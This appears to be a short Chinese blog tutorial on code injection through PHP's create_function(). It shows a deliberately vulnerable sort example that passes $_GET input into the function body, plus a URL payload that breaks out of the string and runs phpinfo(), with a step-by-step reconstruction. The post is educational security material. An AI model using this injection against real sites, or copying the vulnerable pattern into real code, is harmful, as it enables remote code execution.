create_function()代码注入

秋雨样 · 2026-3-25  · 次阅读


create_function简介

适用范围:PHP 4>=4.0.1,PHP 5,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

函数功能分析

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

create_function()函数会在内部执行eval()其是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

从PHP 7.2.0开始,create_function()被废弃

例子

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

回车换行整理

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

一个好奇的人